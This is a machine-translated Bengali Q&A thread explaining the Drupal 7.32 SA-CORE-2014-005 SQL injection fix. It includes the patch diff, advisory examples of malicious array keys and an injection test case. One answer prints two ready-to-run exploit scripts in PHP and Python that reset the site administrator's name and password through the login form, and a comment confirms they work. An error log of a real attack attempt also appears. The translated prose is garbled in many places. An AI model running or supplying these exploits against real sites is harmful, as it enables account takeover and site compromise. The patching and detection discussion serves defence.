SA-CORE-2014-005 (দ্রুপাল 7.32) এর প্যাচটি কী ধরণের আক্রমণ প্রতিরোধ করে?


33

আপ পড়া https://www.drupal.org/node/2357241 এবং প্রযুক্তিগত বিবরণ https://www.drupal.org/SA-CORE-2014-005 প্রকৃত প্যাচ যা কেবল হিসাবে, পাশাপাশি:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

আমি ভাবছি কী ধরনের অনুরোধ করা যেতে পারে যা এই শোষণকে কাজে লাগায়?



আমরা কি মূল পরিবর্তন করতে পারি? database.incফাইল?
हितেশ

@ হিটেশ আপনি database.incউপরের প্যাচ থেকে কেবল প্যাচ করতে পারেন (বা হাতে এটি স্পষ্টতই এটি একটি ক্ষুদ্র পরিবর্তন) তবে আমি আপনার মূল দ্রুপালকে পুরোপুরিভাবে প্যাচিংয়ের পরামর্শও দেব।
চার্লি শ্লিয়েসার

1
যাঁরা আশ্চর্য হবেন না কী কী অনুরোধগুলি বাগটি কাজে লাগিয়ে দেবে, কিন্তু বাগটি আসলে কী, আমি প্রোগ্রামার্স.এসকে একটি ব্যাখ্যা পোস্ট করেছি ।
রোমানস্টে

এমনকি আপগ্রেড করার পরেও কেউ আমার সাইটের মধ্যে। Php ফাইল রাখতে সক্ষম। আমি মেনু_আওটারও চেক করেছি - সন্দেহজনক কিছুই নয়। আমি সাইট অডিট এবং ড্রুপালগেটডনও চালিয়েছি
আগা

উত্তর:


18

যে সংস্থাটি বাগটি খুঁজে পেয়েছিল তার পরামর্শদাতায় 01/2014 এর কয়েকটি উদাহরণ রয়েছে : দ্রুপাল - প্রাক অথ এসকিউএল ইঞ্জেকশন ক্ষতিগ্রস্থতা :

নির্যাস:

ফাংশন ধরে নেয় যে এটিকে একটি অ্যারের সাথে ডাকা হয় যার কোন কী নেই। উদাহরণ:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

যা এই এসকিউএল বিবৃতিতে ফলাফল

SELECT * from users where name IN (:name_0, :name_1)

পরামিতি name_0 = user1এবং সাথে name_1 = user2

সমস্যাটি ঘটে, যদি অ্যারেতে কী থাকে, যা কোনও পূর্ণসংখ্যা নয়। উদাহরণ:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

এটি একটি শোষণযোগ্য এসকিউএল ক্যোয়ারিতে ফলাফল দেয়:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

পরামিতি সঙ্গে: name_test = user2

যেহেতু দ্রুপাল পিডিও ব্যবহার করে, বহু-প্রশ্নের অনুমতি দেওয়া হয়। সুতরাং এই এসকিউএল ইঞ্জেকশনটি ডাটাবেজে স্বেচ্ছাসেবক তথ্য সন্নিবেশ করতে, বিদ্যমান ডেটা ডাম্প বা সংশোধন করতে বা পুরো ডাটাবেসটি ফেলে দেওয়ার জন্য ব্যবহার করা যেতে পারে।

ডাটাবেসে স্বেচ্ছাসেবক তথ্য প্রবেশের সম্ভাবনার সাথে একজন আক্রমণকারী কলব্যাক সহ ড্রুপাল বৈশিষ্ট্যগুলির মাধ্যমে যে কোনও পিএইচপি কোড কার্যকর করতে পারে।


ভাগ করে নেওয়ার জন্য ধন্যবাদ, আমি বিষয়টিতে অনুসন্ধান করে এটি খুঁজে পাইনি। The Problem occurs, if the array has keys, which are no integers- এটি এবং উদাহরণ ক্যোয়ারী এটি বুঝতে মোটামুটি সহায়ক।
চার্লি শ্লিয়েসার

19

কি চলছে 7.32 পরীক্ষার মডিউলটি পরীক্ষা করে। আপনি দেখতে পাচ্ছেন নীচের পরীক্ষাটি 7.32 এ যুক্ত হয়েছিল;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

এটি কীভাবে আক্রমণকে নৈপুণ্য বানাতে হয় তার আরও কিছুটা অন্তর্দৃষ্টি দেওয়া উচিত।

ধারণার প্রমাণ যেহেতু পর্যাপ্ত সময়ের চেয়ে বেশি সময় কেটে গেছে এবং বন্যের মধ্যে প্রচুর পিওসি আউট রয়েছে।

পকেট # 1 - পিএইচপি

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

পক # 2 পাইথন - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

এখানে একটি ব্লগ যা ভাল ব্রেকডাউন করে: http://www.volexity.com/blog/?p=83


সেই পোকা কাজ করে না ....
কাইল ব্রাউনিং

আপনি কি এমন কোনও পিওসি পোস্ট করতে পারেন যার সাহায্যে একজন হ্যাকার ডাটাবেস.ইনে অ্যারে_ভ্যালু ($ ডেটা) সহ $ ডেটা প্রতিস্থাপন করতে পারে?
হ্যান্স রোজেল

আমি ভ্যানিলা ড্রুপাল সাইটের সাথে এটি কাজ করে তা নিশ্চিত করতে পারি। এটি দুর্ভাগ্য ...
আইশক

@ গ্রেগলস যেমনটি বলেছিলেন এটি একটু তাড়াতাড়ি, এখনও প্রত্যেকে মেমোটি পায়নি। সংযত করুন
pal4 Life

প্রশ্ন - এই আক্রমণটি কাজ করার জন্য "? Q =" দরকার কি? আমার সার্ভারটি Q (বা Q বা% -coded সমতুল্য) এর একটি আর্গ দিয়ে অনুরোধগুলি ফেলে দেয়। উৎসুক. আমরা কিছুক্ষণ আগে থাপ্পড় দিয়েছিলাম এবং অনুপ্রবেশ বা কোনও কিছুই দেখিনি, তবে আমি ভাবছি কি আমরা কি = অনুরোধগুলি প্রত্যাখ্যান করে বাইরে বেরিয়ে এসেছি?
কাসাপো

16

যে গবেষকরা বাগটি খুঁজে পেয়েছিলেন তাদের কাছে ধারণার প্রমাণ রয়েছে। অন্যরা ধারণার প্রমাণও বিকাশ করেছে। যাইহোক, তারা উদ্দেশ্যমূলকভাবে এটি পোষ্ট করছে না এটির ব্যাপকভাবে ব্যবহার হওয়ার সম্ভাবনা হ্রাস করার চেষ্টা করার জন্য post আমাদের সেই গবেষণা এবং সংযমকে সম্মান করা উচিত এবং উদাহরণ এখানে পোস্ট করা উচিত নয়।

কিছু সময় অতিক্রান্ত হওয়ার পরে এবং সাইটগুলি আপগ্রেড হওয়ার পরে একাডেমিক দৃষ্টিকোণ থেকে ধারণা-প্রমাণের কোডটি পর্যালোচনা করা খুব আকর্ষণীয় হবে। ততক্ষণে, এটি একটি অপ্রয়োজনীয় ঝুঁকি এবং মনোযোগ আকর্ষণ করে।

কোড SektioinEins উপদেষ্টা সম্পূর্ণরূপে এটা কিভাবে কাজে লাগানো উদাহরণ উন্নত নেই। তারা দুর্বলতার বিষয়ে বিস্তারিত জানায়, তবে কীভাবে সমস্যাটিকে প্রকৃতপক্ষে ব্যবহার করা যায় তা সঠিকভাবে সনাক্ত করতে পারে না।


ইস্যুটি প্রকাশের কয়েক সপ্তাহ হয়ে গেছে এবং সেকশনইনস তাদের ব্লগে বেশ কয়েকটি প্রুফ-অফ-কনসেপ্ট পোস্ট করেছেন । এগুলি তাদের ধারণার খুব কম ট্রেস (উদাহরণস্বরূপ মেনু_আউটার টেবিলে কিছুই নেই) রেখে যাওয়ার পরে তৈরি করা হয়েছে এমন আরও অনেক প্রমাণ-ধারণার তুলনায় এটি বেশ আকর্ষণীয়।


4

আমি নিশ্চিত করতে পারি, এই দুর্বলতা প্রতিটি ড্রুপাল 7.31 এবং নিম্ন সাইটের সাথে কাজ করবে, কোন মডিউলগুলি সক্রিয় তা বিবেচনা করে না। এই দুর্বলতা কাজে লাগাতে প্রতিটি ড্রুপাল ফর্ম ব্যবহার করা যেতে পারে।

শোষণটি বেশ সহজ, তাই পোকাসমূহ ইতিমধ্যে বন্যের বাইরে রয়েছে। আমি নিজের সার্ভারে আক্রমণ করতে পেরেছিলাম এবং ক্লিন ড্রুপাল ইনস্টলের অনামী ব্যবহারকারী হিসাবে ব্যবহারকারীর পাসওয়ার্ডগুলি পরিবর্তন করতে পেরেছি, তবে সম্ভাবনাগুলি অন্তহীন।

এই বাগটি প্রায় 1 বছর পূর্বে https://www.drupal.org/node/2146839 এর মাধ্যমে জানা গিয়েছিল তবে দ্রুপাল কোর সুরক্ষা টিমের কেউ প্রতিক্রিয়া জানায় না।


এটি সুরক্ষা সমস্যা হিসাবে রিপোর্ট করা হয়নি, তাই না?
আলফ্রেড আর্মস্ট্রং

এটি "# সুরক্ষা", "মেজর" এর একটি অগ্রাধিকার, "পর্যালোচনা প্রয়োজন" এর একটি স্ট্যাটাসের সাথে ট্যাগ করা হয়েছিল এবং এতে একটি প্যাচ অন্তর্ভুক্ত ছিল যা 7.32 তে প্যাচটি মূলত অর্জন করে। সম্ভবত #"সিকিউরিটি" এর সামনের অংশটি অন্য কাউকে দেখতে পারা কাউকে সীমাবদ্ধ করেছিল বা সম্ভবত সারিতে অনেকগুলি সমস্যা রয়েছে। তবুও অবাক হওয়ার বিষয় যে কেউ এর প্রতিক্রিয়া জানায় না।
চার্লি শ্লিয়েসার

3
এটি কোনও সুরক্ষা সমস্যা হিসাবে রিপোর্ট করা হয়নি, তাই সম্ভবত সুরক্ষা দলটি এটি দেখেনি। তবে হ্যাঁ, লোকটি অনিশ্চিত ছিল এটি কোনও সুরক্ষা সমস্যা, সুতরাং সম্ভবত তাই।
বেরেন্ড দে বোয়ার

2
এটি একটি "বৈশিষ্ট্য অনুরোধ" হিসাবে রিপোর্ট করা হয়েছিল এমনকি বাগ হিসাবেও নয়। দ্রুপাল কোরের স্থিতিশীল সংস্করণে নতুন বৈশিষ্ট্য গ্রহণ করা হয় না তাই এটি সাধারণভাবে এটি নজরে দেখা যায় না। সুরক্ষা ইস্যুগুলি কখনই প্রকাশ্যে পোস্ট করা উচিত নয়, কীভাবে সুরক্ষা টিমের কাছে ড্রুপাল সুরক্ষা সংক্রান্ত বিষয়গুলি রিপোর্ট করবেন সে সম্পর্কে একটি পরিষ্কার পৃষ্ঠা রয়েছে: drupal.org/node/101494
হান্স রোজেল

4

আমি ভাবলাম কীভাবে এটি কাজে লাগানো যায় এবং কত সময় এবং প্রচেষ্টা লাগবে? অতএব আমি আমার লোকালহোস্টে পুরানো ড্রুপাল 7 সংস্করণ ইনস্টল করার সিদ্ধান্ত নিয়েছি এবং এই বাগটি রিভার্স ইঞ্জিনিয়ার। আমি যা আবিষ্কার করেছি তা ছিল একটি মর্মাহত বাগ যা এইচটিএমএল / এসকিউএল সম্পর্কে প্রাথমিক জ্ঞান সহ যে কাউকে আপনার ড্রুপাল সাইটে সম্পূর্ণ অ্যাক্সেস দেয়।

আমি অজানা ব্যবহারকারীকে 30 মিনিটেরও কম চেষ্টা করে ড্রুপাল 7-তে এসকিউএল ইঞ্জেকশন চালাতে সক্ষম হয়েছি!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

দ্রষ্টব্য: এটি এখনও আপনাকে লগইন করতে দেয় না কারণ ড্রুপাল SHA512 লবণের সাথে ব্যবহার করে যাতে লগইন করা সম্ভব না। ইচ্ছাকৃতভাবে আমি এখানে কোডটি রাখিনি, তবে স্পষ্টতই যে কেউ ড্রুপাল জ্ঞানের সাথে সামান্যই এটি কীভাবে উত্তরণ করতে পারে এবং কোয়েরিটি কীভাবে তৈরি করতে হবে যা আপনাকে সম্পূর্ণ অ্যাক্সেস দেবে!

এটি একটি প্রশ্ন খুলবে যে দ্রুপাল কীভাবে সুরক্ষিত এবং এর মতো কোনও কিছুর জন্য কারা দায়ী? স্পষ্টতই এই বাগটি এক বছরেরও বেশি সময় ধরে পরিচিত ছিল ( https://www.drupal.org/node/2146839 ), তবে কেউই দ্রুপাল.আরোগরে প্রতিক্রিয়া জানায়নি। দুর্ঘটনাক্রমে বা ইচ্ছাকৃতভাবে? :)


1

এটি একটি এসকিউএল ইঞ্জেকশন দুর্বলতার একটি স্থির যেখানে দূষিত এসকিউএল বিবৃতি কার্যকর করার জন্য একটি প্রবেশ ক্ষেত্রের মধ্যে .োকানো হয় এবং এটি উদাহরণস্বরূপ ডাটাবেসের সামগ্রী প্রকাশ করতে পারে। এই সংশোধনটি যত তাড়াতাড়ি সম্ভব প্রয়োগ করা গুরুত্বপূর্ণ, বিশেষত কারণ এই দুর্বলতা বেনাম ব্যবহারকারীরা ব্যবহার করতে পারেন।

আপনি যদি তাত্ক্ষণিকভাবে আপডেট করতে না পারেন তবে সুরক্ষা দলে আপনি এই প্যাচটি প্রয়োগ করতে পারবেন যা আপনি সম্পূর্ণ আপগ্রেড 1 না করা পর্যন্ত একই সুরক্ষা সরবরাহ করবে । সুরক্ষা দলটি এই সমস্যা সম্পর্কিত কিছু FAQ প্রস্তুত করেছে । আপনার সাইটটি রক্ষণাবেক্ষণ মোডে রাখলে কোনও লাভ হবে না এবং দয়া করে আপডেটটি প্রয়োগের পরে ক্যাশে সাফ করুন বা আপনি 7.32 ব্যবহার করছেন তা নিশ্চিত করুন।

এছাড়াও, আপনার সাইটটি আপস করা হয়নি কিনা তাও আপনার পরীক্ষা করা উচিত। কিছু সাইট ইতিমধ্যে সমস্যার প্রতিবেদন করছে। এখানে এটি একটি ব্লগ পোস্ট যা পরামর্শ দেয় আপনি কীভাবে ড্রুপাল 7.32 এ আপডেট করা যাচাই করতে পারবেন তা যথেষ্ট নয়, আপনার সাইটটি ইতিমধ্যে হ্যাক হয়ে থাকতে পারে

আমি অক্টোবরের ১৫ তারিখে সমাধানটি প্রয়োগ করি এবং আমার সাইটগুলি ইতিমধ্যে কেউ দুর্বলতা কাজে লাগানোর চেষ্টা করছে বলে প্রতিবেদন করেছে

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.